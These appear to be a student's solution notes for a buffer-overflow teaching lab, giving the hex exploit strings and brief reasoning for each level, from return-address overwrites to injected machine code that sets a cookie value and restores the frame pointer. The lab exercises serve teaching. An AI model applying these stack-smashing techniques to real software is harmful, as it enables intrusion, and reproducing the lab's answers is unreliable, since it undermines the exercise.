**Cookie**

0x37a266fd

**Candle**

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 60 94 04 08

Looking at where the exploit string will be supplied by Gets: give us buffer

Buffer of 12, +4 is R/A and +8 is esp, so 20 in all.

Find address to smoke/getbuf and then little endian it.

**Sparkler**

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 f0 93 04 08 00 00 00 00 fd 66 a2 37

Call fizz and pass cookie as argument, val == cookie

We saw that it stores cookie at ebp+8

Very similar to candle, but put address of fizz, 4 padding, then cookie

**Firecracker**

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 d0 b3 ff ff c7 04 25 fc c0 04 08 fd 66 a2 37 68 80 93 04 08 c3

Global value == cookie

Exploit code = Move cookie to global variable, push address of bang and then ret

Padding to get to buffer, then Return address of beginning of exploit, then exploit

We also need to change ebp

Return of exploit is + 20 of what we got out of x/20x esp

**Dynamite**

b8 fd 66 a2 37 bd f8 b3 ff ff 68 4c 95 04 08 c3 bc b3 ff ff

similar to to Firecracker in that you need to push machine instructions

exploit = mov cookie to eax, restore old ebp, push next instruction in test then return

exploit took up 16 perfectly, so we just return exploit address

**Bonus**

Move cookie to eax, move esp to edx, relationship between esp and old epb, move edx to ebp, push return address, ret